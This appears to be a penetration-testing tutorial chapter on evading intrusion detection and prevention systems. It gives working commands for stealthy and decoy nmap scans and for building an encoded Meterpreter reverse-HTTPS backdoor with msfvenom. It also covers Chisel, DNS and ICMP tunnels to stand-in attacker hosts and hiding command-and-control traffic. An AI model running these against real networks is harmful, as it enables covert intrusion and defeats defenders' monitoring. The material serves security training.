Home > Network Pentesting

IDS/IPS Evasion

IDS/IPS evasion focuses on bypassing Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS). These systems monitor network traffic, detect malicious patterns, and block or alert on suspicious activity. During a pentest, evasion allows attackers to scan, exploit, and move inside the network without triggering alarms. This chapter explains how IDS/IPS work and how attackers avoid detection using stealth techniques, packet manipulation, payload obfuscation, and protocol abuse.

How IDS/IPS Detect Attacks

Most IDS/IPS rely on:

  • Signature-based detection (known attack patterns)

  • Anomaly-based detection (unexpected behavior)

  • Stateful inspection (connection tracking)

  • Protocol validation (checking malformed packets)

  • Behavior correlation (multiple alerts across systems)

Common triggers include:

  • High-rate scans

  • Suspicious payloads

  • Known exploit signatures

  • Abnormal port use

  • Unexpected protocol flags

  • Encoded shell payloads

  • Repeated authentication failures

Evasion techniques weaken or bypass these detection methods.

Step 1: Stealth Scanning Techniques

Aggressive scanning triggers IDS alerts. Use stealthy scanning to reduce noise.

Slow and Low Scan

nmap -sT --scan-delay 1s 10.10.20.5

SYN Scan (Less Noisy)

nmap -sS 10.10.20.5

Fragment Packets

nmap -f 10.10.20.5

Fragmenting packets makes signatures harder to match.

Randomize Scan Order

nmap --randomize-hosts 10.10.20.0/24

Randomizing hosts prevents correlation-based detection.

Step 2: Decoys and Source Spoofing

Decoys confuse IDS logs by inserting fake IPs.

Use Decoys

nmap -D RND:10 10.10.20.5

The IDS sees multiple spoofed origins.

Idle Scan (Proxy Through Zombie Host)

nmap -sI zombie_host 10.10.20.5

The attacker’s IP never appears in logs.

Step 3: Evading Through Rate Control

High-speed scans trigger IDS rate thresholds.

Throttle Scan Speed

nmap -T1 10.10.20.5

Use Idle Time Between Packets

nmap --scan-delay 500ms 10.10.20.5

Low-rate traffic blends into normal background noise.

Step 4: Payload Obfuscation for IDS Evasion

Exploit payloads often match known signatures. Obfuscating payloads helps bypass signatures.

Encode Payloads (Metasploit Example)

set ENCODER x86/shikata_ga_nai

Custom Shellcode Encoding

Use msfvenom:

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -i 10 -f exe > backdoor.exe

Multiple encoding rounds weaken signature matches.

Step 5: Avoiding Known Exploit Signatures

Modify exploit requests to avoid exact pattern matches.

Change User-Agent

curl -A "Mozilla/5.0" http://10.10.20.5/login

Modify Headers

curl -H "X-Forwarded-For: 127.0.0.1" http://10.10.20.5

Randomize Padding

Add irrelevant fields to confuse pattern matching.

Step 6: Using Encrypted Tunnels to Hide Traffic

Encryption blocks IDS payload inspection.

SSH Dynamic Tunnel

ssh -D 1080 user@pivot

Chisel HTTPS Tunnel

Attacker:

chisel server -p 9001 --reverse

Victim:

chisel client attacker_ip:9001 R:socks

Encrypted tunnels prevent DPI-based detection.

Step 7: Hiding C2 Traffic

Avoiding recognizable command-and-control patterns is key.

HTTPS C2

Meterpreter reverse_https:

set PAYLOAD windows/meterpreter/reverse_https

Domain Fronting (if allowed)

Traffic appears to target a legitimate domain rather than the attacker’s server.

Randomized Beacon Intervals

Long delays avoid alert thresholds.

Step 8: Using Legitimate Protocols for Attack Traffic

Attack traffic wrapped inside normal protocols bypasses many IDS systems.

DNS Tunneling

iodine attacker.com

ICMP Tunneling

ptunnel -p attacker_ip

HTTP Over Allowed Ports

Use port 443 for everything to blend in.

Step 9: Protocol Manipulation

IDS rely on clean protocol behavior. Manipulating flags and packet order makes analysis difficult.

TCP Flag Manipulation

hping3 -S -p 445 10.10.20.5

Out-of-order Packets

Send disorderly packets to confuse inspection engines.

Fragmentation + reassembly inconsistencies help bypass signature matching.

Step 10: Misusing Allowed Internal Services

Internal IDS systems often trust:

  • DNS

  • LDAP

  • SMB

  • Git

  • Backup services

  • API endpoints

Route malicious traffic through these legitimate channels using tunnels or proxies.

Example: SMB Tunnel

ssh -L 4455:10.10.20.5:445 user@pivot

Traffic appears as normal SMB packets.

Why IDS/IPS Evasion Works

IDS/IPS fail due to:

  • Encrypted tunnels blocking inspection

  • Low-and-slow traffic blending in

  • Fragmented packets avoiding signatures

  • Payload encoding altering exploit patterns

  • Trusted internal services bypassing filtering

  • Spoofing confusing correlation engines

  • Custom headers defeating static signatures

  • Exploiting allowed outbound ports

Evasion helps attackers remain invisible while scanning, exploiting, and moving through the network.

Intel Dump

  • Use stealth scans (slow, fragmented, SYN, idle)

  • Spoof sources and use decoys to mask origin

  • Encode payloads and modify signatures

  • Use encryption (SSH, HTTPS, Chisel) to hide contents

  • Tunnel through allowed protocols like DNS, ICMP, HTTP

  • Manipulate packets to evade signature detection

  • Hide C2 traffic using HTTPS and randomized intervals

  • Bypass IDS by blending into normal internal service traffic

HOME LEARN COMMUNITY DASHBOARD